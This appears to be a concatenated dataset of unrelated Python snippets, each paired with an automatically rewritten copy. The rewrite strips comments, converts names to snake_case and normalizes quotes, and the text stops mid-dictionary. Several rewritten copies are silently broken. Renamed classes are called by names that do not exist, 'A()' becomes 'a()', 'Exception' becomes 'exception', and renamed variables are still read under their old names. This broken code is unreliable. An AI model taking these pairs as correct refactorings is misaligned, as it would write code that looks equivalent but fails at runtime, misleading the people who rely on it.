days = int(input()) type_of_room = input() feedback = input() price = 0 nights = days - 1 if type_of_room == 'room for one person': price = 18 cost = nights * price elif type_of_room == 'apartment': price = 25 cost = nights * price if days < 10: cost = cost - (cost * 30 /100) elif 10 <= days <= 15: cost = cost - (cost * 35 / 100) elif days > 15: cost = cost - (cost * 50 / 100) elif type_of_room == 'president apartment': price = 35 cost = nights * price if days < 10: cost = cost - (cost * 10 /100) elif 10 <= days <= 15: cost = cost - (cost * 15 / 100) elif days > 15: cost = cost - (cost * 20 / 100) if feedback == 'positive': cost = cost + (cost * 25 /100) elif feedback == 'negative': cost = cost - (cost * 10 / 100) print (f'{cost:.2f}')
days = int(input()) type_of_room = input() feedback = input() price = 0 nights = days - 1 if type_of_room == 'room for one person': price = 18 cost = nights * price elif type_of_room == 'apartment': price = 25 cost = nights * price if days < 10: cost = cost - cost * 30 / 100 elif 10 <= days <= 15: cost = cost - cost * 35 / 100 elif days > 15: cost = cost - cost * 50 / 100 elif type_of_room == 'president apartment': price = 35 cost = nights * price if days < 10: cost = cost - cost * 10 / 100 elif 10 <= days <= 15: cost = cost - cost * 15 / 100 elif days > 15: cost = cost - cost * 20 / 100 if feedback == 'positive': cost = cost + cost * 25 / 100 elif feedback == 'negative': cost = cost - cost * 10 / 100 print(f'{cost:.2f}')
class A(object): def go(self): print("go A go!") def stop(self): print("stop A stop!") def pause(self): raise Exception("Not Implemented") class B(A): def go(self): super(B, self).go() print("go B go!") class C(A): def go(self): super(C, self).go() print("go C go!") def stop(self): super(C, self).stop() print("stop C stop!") class D(B,C): def go(self): super(D, self).go() print("go D go!") def stop(self): super(D, self).stop() print("stop D stop!") def pause(self): print("wait D wait!") class E(B,C): pass a = A() b = B() c = C() d = D() e = E() # specify output from here onwards a.go() b.go() c.go() d.go() e.go() a.stop() b.stop() c.stop() d.stop() e.stop() a.pause() b.pause() c.pause() d.pause() e.pause() ''' Solutions a.go() # go A go! b.go() # go A go! # go B go! c.go() # go A go! # go C go! d.go() # go A go! # go C go! # go B go! # go D go! e.go() # go A go! # go C go! # go B go! a.stop() # stop A stop! b.stop() # stop A stop! c.stop() # stop A stop! # stop C stop! d.stop() # stop A stop! # stop C stop! # stop D stop! e.stop() # stop A stop! a.pause() # ... Exception: Not Implemented b.pause() # ... Exception: Not Implemented c.pause() # ... Exception: Not Implemented d.pause() # wait D wait! e.pause() # ...Exception: Not Implemented '''
class A(object): def go(self): print('go A go!') def stop(self): print('stop A stop!') def pause(self): raise exception('Not Implemented') class B(A): def go(self): super(B, self).go() print('go B go!') class C(A): def go(self): super(C, self).go() print('go C go!') def stop(self): super(C, self).stop() print('stop C stop!') class D(B, C): def go(self): super(D, self).go() print('go D go!') def stop(self): super(D, self).stop() print('stop D stop!') def pause(self): print('wait D wait!') class E(B, C): pass a = a() b = b() c = c() d = d() e = e() a.go() b.go() c.go() d.go() e.go() a.stop() b.stop() c.stop() d.stop() e.stop() a.pause() b.pause() c.pause() d.pause() e.pause() '\nSolutions\na.go()\n# go A go!\n\nb.go()\n# go A go!\n# go B go!\n\nc.go()\n# go A go!\n# go C go!\n\nd.go()\n# go A go!\n# go C go!\n# go B go!\n# go D go!\n\ne.go()\n# go A go!\n# go C go!\n# go B go!\n\na.stop()\n# stop A stop!\n\nb.stop()\n# stop A stop!\n\nc.stop()\n# stop A stop!\n# stop C stop!\n\nd.stop()\n# stop A stop!\n# stop C stop!\n# stop D stop!\n\ne.stop()\n# stop A stop!\n\na.pause()\n# ... Exception: Not Implemented\n\nb.pause()\n# ... Exception: Not Implemented\n\nc.pause()\n# ... Exception: Not Implemented\n\nd.pause()\n# wait D wait!\n\ne.pause()\n# ...Exception: Not Implemented\n\n'
# # @lc app=leetcode id=902 lang=python3 # # [902] Numbers At Most N Given Digit Set # # @lc code=start class Solution: def atMostNGivenDigitSet(self, D: List[str], N: int) -> int: s = str(N) n = len(s) ans = sum(len(D) ** i for i in range(1, n)) for i, c in enumerate(s): ans += len(D) ** (n - i - 1) * sum(d < c for d in D) if c not in D: return ans return ans + 1 # @lc code=end
class Solution: def at_most_n_given_digit_set(self, D: List[str], N: int) -> int: s = str(N) n = len(s) ans = sum((len(D) ** i for i in range(1, n))) for (i, c) in enumerate(s): ans += len(D) ** (n - i - 1) * sum((d < c for d in D)) if c not in D: return ans return ans + 1
fields = ["one", "two", "three", "four", "five", "six"] together = ":".join(fields) print(together) # one:two:three:four:five:six together = ':'.join(fields) print(together) # one:two and three:four:five:six mixed = ' -=<> '.join(fields) print(mixed) # one -=<> two and three -=<> four -=<> five -=<> six another = ''.join(fields) print(another) # onetwo and threefourfivesix
fields = ['one', 'two', 'three', 'four', 'five', 'six'] together = ':'.join(fields) print(together) together = ':'.join(fields) print(together) mixed = ' -=<> '.join(fields) print(mixed) another = ''.join(fields) print(another)
# vim: set fileencoding=<utf-8> : '''Counting k-mers''' __version__ = '0.1.0'
"""Counting k-mers""" __version__ = '0.1.0'
# Use the file name mbox-short.txt as the file name file_name = input("Enter file name: ") fh = open(file_name) count = 0 total = 0 for line in fh: if not line.startswith("X-DSPAM-Confidence:"): continue pos = line.find('0') total += float(line[pos:pos + 6]) count += 1 average = total / count print("Average spam confidence:", average)
file_name = input('Enter file name: ') fh = open(file_name) count = 0 total = 0 for line in fh: if not line.startswith('X-DSPAM-Confidence:'): continue pos = line.find('0') total += float(line[pos:pos + 6]) count += 1 average = total / count print('Average spam confidence:', average)
print("hello") o= input ("input operation ") x= int(input ("x = ")) y= int(input ("y = ")) if o == "+": print (x+y) elif o == "-": print (x-y) elif o == "*" : print (x*y) elif o == "/" : if y==0 : print ("it's a simple calc, don't be too smart") else : print (x/y) elif o == "//" : if y==0 : print ("it's a simple calc, don't be too smart") else : print (x//y) elif o == "**" : print (x**y) elif o == "%" : if y==0 : print ("it's a simple calc, don't be too smart") else : print (x%y) else : print ("Unknown operational symbol. It's a simple calc, don't forget" )
print('hello') o = input('input operation ') x = int(input('x = ')) y = int(input('y = ')) if o == '+': print(x + y) elif o == '-': print(x - y) elif o == '*': print(x * y) elif o == '/': if y == 0: print("it's a simple calc, don't be too smart") else: print(x / y) elif o == '//': if y == 0: print("it's a simple calc, don't be too smart") else: print(x // y) elif o == '**': print(x ** y) elif o == '%': if y == 0: print("it's a simple calc, don't be too smart") else: print(x % y) else: print("Unknown operational symbol. It's a simple calc, don't forget")
wsgi_app = "tabby.wsgi:application" workers = 4 preload_app = True sendfile = True max_requests = 1000 max_requests_jitter = 100
wsgi_app = 'tabby.wsgi:application' workers = 4 preload_app = True sendfile = True max_requests = 1000 max_requests_jitter = 100
class ScramException(Exception): pass class BadChallengeException(ScramException): pass class ExtraChallengeException(ScramException): pass class ServerScramError(ScramException): pass class BadSuccessException(ScramException): pass class NotAuthorizedException(ScramException): pass
class Scramexception(Exception): pass class Badchallengeexception(ScramException): pass class Extrachallengeexception(ScramException): pass class Serverscramerror(ScramException): pass class Badsuccessexception(ScramException): pass class Notauthorizedexception(ScramException): pass
# pylint: disable=missing-function-docstring, missing-module-docstring/ a = [i*j for i in range(1,3) for j in range(1,4) for k in range(i,j)] n = 5 a = [i*j for i in range(1,n) for j in range(1,4) for k in range(i,j)]
a = [i * j for i in range(1, 3) for j in range(1, 4) for k in range(i, j)] n = 5 a = [i * j for i in range(1, n) for j in range(1, 4) for k in range(i, j)]
class PlayerCharacter: def __init__(self, name, age): self.name = name self.age = age def run(self): print("run") return "done" player1 = PlayerCharacter("Cindy", 50) player2 = PlayerCharacter("Tom", 20) print(player1.name) print(player1.age) print(player2.name) print(player2.age) print(player1.run())
class Playercharacter: def __init__(self, name, age): self.name = name self.age = age def run(self): print('run') return 'done' player1 = player_character('Cindy', 50) player2 = player_character('Tom', 20) print(player1.name) print(player1.age) print(player2.name) print(player2.age) print(player1.run())
def Reverse(a): return ' '.join(map(str, a.split()[::-1])) if not a.isspace() else a if __name__ == '__main__': print(Reverse(" "))
def reverse(a): return ' '.join(map(str, a.split()[::-1])) if not a.isspace() else a if __name__ == '__main__': print(reverse(' '))
DATA_DIR = "data/captcha_images_v2" BATCH_SIZE = 8 IMAGE_WIDTH = 300 IMAGE_HEIGHT = 75 NUM_WORKERS = 8 EPOCHS = 200 DEVICE = "cuda"
data_dir = 'data/captcha_images_v2' batch_size = 8 image_width = 300 image_height = 75 num_workers = 8 epochs = 200 device = 'cuda'
with open('dataset_3363_3.txt') as inf, open('MostPopularWord.txt','w') as ouf: maxc = 0 s = inf.read().lower().strip().split() s.sort() for word in s: counter = s.count(word) if counter > maxc: maxc = counter result_word = word ouf.write(result_word +' ' + str(maxc))
with open('dataset_3363_3.txt') as inf, open('MostPopularWord.txt', 'w') as ouf: maxc = 0 s = inf.read().lower().strip().split() s.sort() for word in s: counter = s.count(word) if counter > maxc: maxc = counter result_word = word ouf.write(result_word + ' ' + str(maxc))
def mpii_get_sequence_info(subject_id, sequence): switcher = { "1 1": [6416,25], "1 2": [12430,50], "2 1": [6502,25], "2 2": [6081,25], "3 1": [12488,50], "3 2": [12283,50], "4 1": [6171,25], "4 2": [6675,25], "5 1": [12820,50], "5 2": [12312,50], "6 1": [6188,25], "6 2": [6145,25], "7 1": [6239,25], "7 2": [6320,25], "8 1": [6468,25], "8 2": [6054,25], } return switcher.get(subject_id+" "+sequence)
def mpii_get_sequence_info(subject_id, sequence): switcher = {'1 1': [6416, 25], '1 2': [12430, 50], '2 1': [6502, 25], '2 2': [6081, 25], '3 1': [12488, 50], '3 2': [12283, 50], '4 1': [6171, 25], '4 2': [6675, 25], '5 1': [12820, 50], '5 2': [12312, 50], '6 1': [6188, 25], '6 2': [6145, 25], '7 1': [6239, 25], '7 2': [6320, 25], '8 1': [6468, 25], '8 2': [6054, 25]} return switcher.get(subject_id + ' ' + sequence)
# by Kami Bigdely # Extract Class class FoodInfo: def __init__(self, name, prep_time, is_veggie, food_type, cuisine, ingredients, recipe): self.name = name self.prep_time = prep_time self.is_veggie = is_veggie self.food_type = food_type self.cuisine = cuisine self.ingredients = ingredients self.recipie = recipe butternut_sqaush_soup = FoodInfo( 'butternut squash soup', 45, True, 'soup', 'North African', ['butter squash','onion','carrot', 'garlic','butter','black pepper', 'cinnamon','coconut milk'], '1. Grill the butter squash, onion, carrot and garlic in the oven until ' 'they get soft and golden on top. \n' '2. Put all in blender with butter and coconut milk. Blend them till they become puree. ' 'Then move the content into a pot. Add coconut milk. Simmer for 5 mintues.') shirazi_salad = FoodInfo( 'shirazi salad', 5, True, 'salad', 'Iranian', ['cucumber', 'tomato', 'onion', 'lemon juice'], '1. dice cucumbers, tomatoes and onions. \n' '2. put all into a bowl. \n' '3. pour lemon juice and add salt. \n' '4. Mixed them thoroughly.') homemade_beef_sausage = FoodInfo( 'Home-made Beef Sausage', 60, False, 'deli', 'All', ['sausage casing', 'regular ground beef','garlic','corriander seeds', 'black pepper seeds','fennel seed','paprika'], '1. In a blender, blend corriander seeds, black pepper seeds, ' 'fennel seeds and garlic to make the seasonings \n' '2. In a bowl, mix ground beef with the seasoning \n' '3. Add all the content to a sausage stuffer. Put the casing on the stuffer funnel. ' 'Rotate the stuffer\'s handle (or turn it on) to make your yummy sausages!') foods = [butternut_sqaush_soup, shirazi_salad, homemade_beef_sausage] for food in foods: print("Name:", food.name) print("Prep time:", food.prep_time, "mins") print("Is Veggie?", 'Yes' if food.is_veggie else "No") print("Food Type:", food.food_type) print("Cuisine:", food.cuisine) for item in food.ingredients: print(item, end=', ') print() print("recipe", food.recipie) print("***")
class Foodinfo: def __init__(self, name, prep_time, is_veggie, food_type, cuisine, ingredients, recipe): self.name = name self.prep_time = prep_time self.is_veggie = is_veggie self.food_type = food_type self.cuisine = cuisine self.ingredients = ingredients self.recipie = recipe butternut_sqaush_soup = food_info('butternut squash soup', 45, True, 'soup', 'North African', ['butter squash', 'onion', 'carrot', 'garlic', 'butter', 'black pepper', 'cinnamon', 'coconut milk'], '1. Grill the butter squash, onion, carrot and garlic in the oven until they get soft and golden on top. \n2. Put all in blender with butter and coconut milk. Blend them till they become puree. Then move the content into a pot. Add coconut milk. Simmer for 5 mintues.') shirazi_salad = food_info('shirazi salad', 5, True, 'salad', 'Iranian', ['cucumber', 'tomato', 'onion', 'lemon juice'], '1. dice cucumbers, tomatoes and onions. \n2. put all into a bowl. \n3. pour lemon juice and add salt. \n4. Mixed them thoroughly.') homemade_beef_sausage = food_info('Home-made Beef Sausage', 60, False, 'deli', 'All', ['sausage casing', 'regular ground beef', 'garlic', 'corriander seeds', 'black pepper seeds', 'fennel seed', 'paprika'], "1. In a blender, blend corriander seeds, black pepper seeds, fennel seeds and garlic to make the seasonings \n2. In a bowl, mix ground beef with the seasoning \n3. Add all the content to a sausage stuffer. Put the casing on the stuffer funnel. Rotate the stuffer's handle (or turn it on) to make your yummy sausages!") foods = [butternut_sqaush_soup, shirazi_salad, homemade_beef_sausage] for food in foods: print('Name:', food.name) print('Prep time:', food.prep_time, 'mins') print('Is Veggie?', 'Yes' if food.is_veggie else 'No') print('Food Type:', food.food_type) print('Cuisine:', food.cuisine) for item in food.ingredients: print(item, end=', ') print() print('recipe', food.recipie) print('***')
class Solution: def isHappy(self, n: int) -> bool: seen = {} while True: if n in seen: break counter = 0 for i in range(len(str(n))): counter += int(str(n)[i]) ** 2 seen[n] = 1 n = counter counter = 0 if n == 1: return True break else: continue return False
class Solution: def is_happy(self, n: int) -> bool: seen = {} while True: if n in seen: break counter = 0 for i in range(len(str(n))): counter += int(str(n)[i]) ** 2 seen[n] = 1 n = counter counter = 0 if n == 1: return True break else: continue return False
def christmas_tree(n, h): tree = ['*', '*', '***'] start = '*****' for i in range(n): tree.append(start) for j in range(1, h): tree.append('*' * (len(tree[-1]) + 2)) start += '**' foot = '*' * h if h % 2 == 1 else '*' * h + '*' tree += [foot for i in range(n)] max_width = len(max(tree, key = len)) return [i.center(max_width, ' ').rstrip() for i in tree] if __name__ == '__main__': num = 1 height = 3 print(christmas_tree(num, height))
def christmas_tree(n, h): tree = ['*', '*', '***'] start = '*****' for i in range(n): tree.append(start) for j in range(1, h): tree.append('*' * (len(tree[-1]) + 2)) start += '**' foot = '*' * h if h % 2 == 1 else '*' * h + '*' tree += [foot for i in range(n)] max_width = len(max(tree, key=len)) return [i.center(max_width, ' ').rstrip() for i in tree] if __name__ == '__main__': num = 1 height = 3 print(christmas_tree(num, height))
def turn_on_lights(lights, begin, end): for x in range(begin[0], end[0]+1): for y in range(begin[1], end[1]+1): lights[x][y] = True def turn_off_lights(lights, begin, end): for x in range(begin[0], end[0]+1): for y in range(begin[1], end[1]+1): lights[x][y] = False def toggle_lights(lights, begin, end): for x in range(begin[0], end[0]+1): for y in range(begin[1], end[1]+1): if lights[x][y]: lights[x][y] = False else: lights[x][y] = True def coordinate_from_string(s): return tuple([int(x) for x in s.split(",")]) def lit_lights(lights): return sum(row.count(True) for row in lights) def all_lights_off(): return [([False] * 1000).copy() for x in range(0,1000)] def main(): lights = all_lights_off() with open("Day6.txt") as f: for command in [l.rstrip() for l in f.readlines()]: parts = command.split(" ") begin = coordinate_from_string(parts[-3]) end = coordinate_from_string(parts[-1]) if command.startswith("toggle"): toggle_lights(lights, begin, end) if parts[1] == "on": turn_on_lights(lights, begin, end) if parts[1] == "off": turn_off_lights(lights, begin, end) print("Lit lights: %d" % (lit_lights(lights),)) if __name__ == "__main__": main()
def turn_on_lights(lights, begin, end): for x in range(begin[0], end[0] + 1): for y in range(begin[1], end[1] + 1): lights[x][y] = True def turn_off_lights(lights, begin, end): for x in range(begin[0], end[0] + 1): for y in range(begin[1], end[1] + 1): lights[x][y] = False def toggle_lights(lights, begin, end): for x in range(begin[0], end[0] + 1): for y in range(begin[1], end[1] + 1): if lights[x][y]: lights[x][y] = False else: lights[x][y] = True def coordinate_from_string(s): return tuple([int(x) for x in s.split(',')]) def lit_lights(lights): return sum((row.count(True) for row in lights)) def all_lights_off(): return [([False] * 1000).copy() for x in range(0, 1000)] def main(): lights = all_lights_off() with open('Day6.txt') as f: for command in [l.rstrip() for l in f.readlines()]: parts = command.split(' ') begin = coordinate_from_string(parts[-3]) end = coordinate_from_string(parts[-1]) if command.startswith('toggle'): toggle_lights(lights, begin, end) if parts[1] == 'on': turn_on_lights(lights, begin, end) if parts[1] == 'off': turn_off_lights(lights, begin, end) print('Lit lights: %d' % (lit_lights(lights),)) if __name__ == '__main__': main()
#!/usr/bin/env python ''' WIP def main(): script_main('you-get', any_download, any_download_playlist) if __name__ == "__main__": main() '''
""" WIP def main(): script_main('you-get', any_download, any_download_playlist) if __name__ == "__main__": main() """
''' @Date: 2019-09-10 20:36:03 @Author: ywyz @LastModifiedBy: ywyz @Github: https://github.com/ywyz @LastEditors: ywyz @LastEditTime: 2019-09-10 20:41:39 ''' for number in range(1, 7): spacenumber = 6 - number while spacenumber >= 0: print(" ", end=" ") spacenumber -= 1 n = number while n > 0: print(n, end=" ") n -= 1 print("\n")
""" @Date: 2019-09-10 20:36:03 @Author: ywyz @LastModifiedBy: ywyz @Github: https://github.com/ywyz @LastEditors: ywyz @LastEditTime: 2019-09-10 20:41:39 """ for number in range(1, 7): spacenumber = 6 - number while spacenumber >= 0: print(' ', end=' ') spacenumber -= 1 n = number while n > 0: print(n, end=' ') n -= 1 print('\n')
numeros = [] for n in range(1,101): numeros.append(n) print(numeros)
numeros = [] for n in range(1, 101): numeros.append(n) print(numeros)
#!/usr/bin/env python def organism(con): con.executescript( ''' CREATE TABLE Organisms ( abbr TEXT PRIMARY KEY, name TEXT ); ''') def species(con): con.executescript( ''' CREATE TABLE Genes ( gid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE GeneEntrezGeneIds ( gid TEXT, entrez_gene_id TEXT, PRIMARY KEY (gid, entrez_gene_id) ); CREATE INDEX GeneEntrezGeneIds_idx_entrez_gene_id ON GeneEntrezGeneIds (entrez_gene_id); CREATE TABLE GeneGis ( gid TEXT, gi TEXT, PRIMARY KEY (gid, gi) ); CREATE INDEX GeneGis_idx_gi ON GeneGis (gi); CREATE TABLE GeneUniprotkbAcs ( gid TEXT, uniprotkb_ac TEXT, PRIMARY KEY (gid, uniprotkb_ac) ); CREATE INDEX GeneUniprotkbAcs_idx_uniprotkb_ac ON GeneUniprotkbAcs (uniprotkb_ac); CREATE TABLE GeneEnsemblGeneIds ( gid TEXT, ensembl_gene_id TEXT, PRIMARY KEY (gid, ensembl_gene_id) ); CREATE INDEX GeneEnsemblGeneIds_idx_ensembl_gene_id ON GeneEnsemblGeneIds (ensembl_gene_id); CREATE TABLE Orthologs ( gid TEXT, oid TEXT, PRIMARY KEY (gid, oid) ); CREATE TABLE Pathways ( pid INTEGER PRIMARY KEY, db TEXT, id TEXT, name TEXT ); CREATE TABLE GenePathways ( gid TEXT, pid INTEGER, PRIMARY KEY (gid, pid) ); CREATE TABLE Diseases ( did INTEGER PRIMARY KEY, db TEXT, id TEXT, name TEXT ); CREATE TABLE GeneDiseases ( gid TEXT, did INTEGER, PRIMARY KEY (gid, did) ); CREATE TABLE Gos ( goid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE GeneGos ( gid TEXT, goid TEXT, PRIMARY KEY (gid, goid) ); ''') def ko(con): con.executescript( ''' CREATE TABLE Kos ( koid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE KoGenes ( koid TEXT, gid TEXT, PRIMARY KEY (koid, gid) ); CREATE INDEX KoGenes_idx_gid ON KoGenes (gid); CREATE TABLE KoEntrezGeneIds ( koid TEXT, entrez_gene_id TEXT, PRIMARY KEY (koid, entrez_gene_id) ); CREATE INDEX KoEntrezGeneIds_idx_entrez_gene_id ON KoEntrezGeneIds (entrez_gene_id); CREATE TABLE KoGis ( koid TEXT, gi TEXT, PRIMARY KEY (koid, gi) ); CREATE INDEX KoGis_idx_gi ON KoGis (gi); CREATE TABLE KoUniprotkbAcs ( koid TEXT, uniprotkb_ac TEXT, PRIMARY KEY (koid, uniprotkb_ac) ); CREATE INDEX KoUniprotkbAcs_idx_uniprotkb_ac ON KoUniprotkbAcs (uniprotkb_ac); CREATE TABLE KoEnsemblGeneIds ( koid TEXT, ensembl_gene_id TEXT, PRIMARY KEY (koid, ensembl_gene_id) ); CREATE INDEX KoEnsemblGeneIds_idx_ensembl_gene_id ON KoEnsemblGeneIds (ensembl_gene_id); CREATE TABLE Pathways ( pid TEXT PRIMARY KEY, name TEXT ); CREATE TABLE KoPathways ( koid TEXT, pid TEXT, PRIMARY KEY (koid, pid) ); ''')
def organism(con): con.executescript('\nCREATE TABLE Organisms\n(\n abbr TEXT PRIMARY KEY,\n name TEXT\n);\n ') def species(con): con.executescript('\nCREATE TABLE Genes\n(\n gid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE GeneEntrezGeneIds\n(\n gid TEXT,\n entrez_gene_id TEXT,\n PRIMARY KEY (gid, entrez_gene_id)\n);\nCREATE INDEX GeneEntrezGeneIds_idx_entrez_gene_id ON GeneEntrezGeneIds (entrez_gene_id);\nCREATE TABLE GeneGis\n(\n gid TEXT,\n gi TEXT,\n PRIMARY KEY (gid, gi)\n);\nCREATE INDEX GeneGis_idx_gi ON GeneGis (gi);\nCREATE TABLE GeneUniprotkbAcs\n(\n gid TEXT,\n uniprotkb_ac TEXT,\n PRIMARY KEY (gid, uniprotkb_ac)\n);\nCREATE INDEX GeneUniprotkbAcs_idx_uniprotkb_ac ON GeneUniprotkbAcs (uniprotkb_ac);\nCREATE TABLE GeneEnsemblGeneIds\n(\n gid TEXT,\n ensembl_gene_id TEXT,\n PRIMARY KEY (gid, ensembl_gene_id)\n);\nCREATE INDEX GeneEnsemblGeneIds_idx_ensembl_gene_id ON GeneEnsemblGeneIds (ensembl_gene_id);\nCREATE TABLE Orthologs\n(\n gid TEXT,\n oid TEXT,\n PRIMARY KEY (gid, oid)\n);\nCREATE TABLE Pathways\n(\n pid INTEGER PRIMARY KEY,\n db TEXT,\n id TEXT,\n name TEXT\n);\nCREATE TABLE GenePathways\n(\n gid TEXT,\n pid INTEGER,\n PRIMARY KEY (gid, pid)\n);\nCREATE TABLE Diseases\n(\n did INTEGER PRIMARY KEY,\n db TEXT,\n id TEXT,\n name TEXT\n);\nCREATE TABLE GeneDiseases\n(\n gid TEXT,\n did INTEGER,\n PRIMARY KEY (gid, did)\n);\nCREATE TABLE Gos\n(\n goid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE GeneGos\n(\n gid TEXT,\n goid TEXT,\n PRIMARY KEY (gid, goid)\n);\n ') def ko(con): con.executescript('\nCREATE TABLE Kos\n(\n koid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE KoGenes\n(\n koid TEXT,\n gid TEXT,\n PRIMARY KEY (koid, gid)\n);\nCREATE INDEX KoGenes_idx_gid ON KoGenes (gid);\nCREATE TABLE KoEntrezGeneIds\n(\n koid TEXT,\n entrez_gene_id TEXT,\n PRIMARY KEY (koid, entrez_gene_id)\n);\nCREATE INDEX KoEntrezGeneIds_idx_entrez_gene_id ON KoEntrezGeneIds (entrez_gene_id);\nCREATE TABLE KoGis\n(\n koid TEXT,\n gi TEXT,\n PRIMARY KEY (koid, gi)\n);\nCREATE INDEX KoGis_idx_gi ON KoGis (gi);\nCREATE TABLE KoUniprotkbAcs\n(\n koid TEXT,\n uniprotkb_ac TEXT,\n PRIMARY KEY (koid, uniprotkb_ac)\n);\nCREATE INDEX KoUniprotkbAcs_idx_uniprotkb_ac ON KoUniprotkbAcs (uniprotkb_ac);\nCREATE TABLE KoEnsemblGeneIds\n(\n koid TEXT,\n ensembl_gene_id TEXT,\n PRIMARY KEY (koid, ensembl_gene_id)\n);\nCREATE INDEX KoEnsemblGeneIds_idx_ensembl_gene_id ON KoEnsemblGeneIds (ensembl_gene_id);\nCREATE TABLE Pathways\n(\n pid TEXT PRIMARY KEY,\n name TEXT\n);\nCREATE TABLE KoPathways\n(\n koid TEXT,\n pid TEXT,\n PRIMARY KEY (koid, pid)\n);\n ')
class DoubleExpression: def __init__(self, value): self.value = value def accept(self, visitor): visitor.visit(self)
class Doubleexpression: def __init__(self, value): self.value = value def accept(self, visitor): visitor.visit(self)
# Time: O(m + n) # Space: O(1) class ListNode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): # @param two ListNodes # @return the intersected ListNode def getIntersectionNode(self, headA, headB): curA, curB = headA, headB while curA != curB: curA = curA.next if curA else headB curB = curB.next if curB else headA return curA
class Listnode(object): def __init__(self, x): self.val = x self.next = None class Solution(object): def get_intersection_node(self, headA, headB): (cur_a, cur_b) = (headA, headB) while curA != curB: cur_a = curA.next if curA else headB cur_b = curB.next if curB else headA return curA
############################################# ## hassioNode commandWord map ############################################# print('Load hassioNode masterBedroom commandWord map') wordMap = { "Media": { "Louder": [ {"id": 0, "type": "call_service", "domain": "media_player", "service": "volume_up", "service_data": {"entity_id": "media_player.master_bedroom"}}, ], "Softer": [ {"type": "call_service", "domain": "media_player", "service": "volume_down", "service_data": {"entity_id": "media_player.master_bedroom"}}, ], "Silence": [ {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.master_bedroom", "is_volume_muted": True}}, ], "Sound": [ {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.master_bedroom", "is_volume_muted": False}}, ], "Sleep": [ {"type": "call_service", "domain": "media_player", "service": "select_source", "service_data": {"entity_id": "media_player.bedroom", "source": "Blues"}}, {"type": "call_service", "domain": "media_player", "service": "volume_set", "service_data": {"entity_id": "media_player.bedroom", "volume_level": 0.14}}, {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.bedroom", "is_volume_muted": False}}, {"type": "call_service", "domain": "sonos", "service": "set_sleep_timer", "service_data": {"entity_id": "media_player.bedroom", "sleep_time": 3600}}, {"type": "call_service", "domain": "sonos", "service": "unjoin", "service_data": {"entity_id": "media_player.bathroom"}}, ], "Relax": [ {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.master_bedroom", "is_volume_muted": True}}, ], "Wake": [ {"type": "call_service", "domain": "media_player", "service": "select_source", "service_data": {"entity_id": "media_player.bedroom", "source": "Mix"}}, {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.bedroom", "is_volume_muted": False}}, {"type": "call_service", "domain": "media_player", "service": "volume_set", "service_data": {"entity_id": "media_player.bedroom", "volume_level": 0.2}}, {"type": "call_service", "domain": "sonos", "service": "join", "service_data": {"master": "media_player.bedroom", "entity_id": "media_player.bathroom"}}, ], "Reset": [ {"type": "call_service", "domain": "switch", "service": "turn_off", "service_data": {"entity_id": "switch.31485653bcddc23a2807"}}, ], "Preset1": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "30 Minutes"}}, ], "Preset2": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "60 Minutes"}}, ], "Preset3": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "90 Minutes"}}, ], "Preset4": [ {"type": "call_service", "domain": "input_select", "service": "select_option", "service_data": {"entity_id": "input_select.masterbedroom_fireplace_duration", "option": "120 Minutes"}}, ], "On": [ {"type": "call_service", "domain": "media_player", "service": "select_source", "service_data": {"entity_id": "media_player.bedroom", "source": "TV"}}, {"type": "call_service", "domain": "media_player", "service": "volume_set", "service_data": {"entity_id": "media_player.bedroom", "volume_level": 0.25}}, {"type": "call_service", "domain": "media_player", "service": "volume_mute", "service_data": {"entity_id": "media_player.bedroom", "is_volume_muted": False}}, {"type": "call_service", "domain": "sonos", "service": "join", "service_data": {"master": "media_player.bedroom", "entity_id": "media_player.bathroom"}}, ], } }
print('Load hassioNode masterBedroom commandWord map') word_map = {'Media': {'Louder': [{'id': 0, 'type': 'call_service', 'domain': 'media_player', 'service': 'volume_up', 'service_data': {'entity_id': 'media_player.master_bedroom'}}], 'Softer': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_down', 'service_data': {'entity_id': 'media_player.master_bedroom'}}], 'Silence': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.master_bedroom', 'is_volume_muted': True}}], 'Sound': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.master_bedroom', 'is_volume_muted': False}}], 'Sleep': [{'type': 'call_service', 'domain': 'media_player', 'service': 'select_source', 'service_data': {'entity_id': 'media_player.bedroom', 'source': 'Blues'}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_set', 'service_data': {'entity_id': 'media_player.bedroom', 'volume_level': 0.14}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.bedroom', 'is_volume_muted': False}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'set_sleep_timer', 'service_data': {'entity_id': 'media_player.bedroom', 'sleep_time': 3600}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'unjoin', 'service_data': {'entity_id': 'media_player.bathroom'}}], 'Relax': [{'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.master_bedroom', 'is_volume_muted': True}}], 'Wake': [{'type': 'call_service', 'domain': 'media_player', 'service': 'select_source', 'service_data': {'entity_id': 'media_player.bedroom', 'source': 'Mix'}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.bedroom', 'is_volume_muted': False}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_set', 'service_data': {'entity_id': 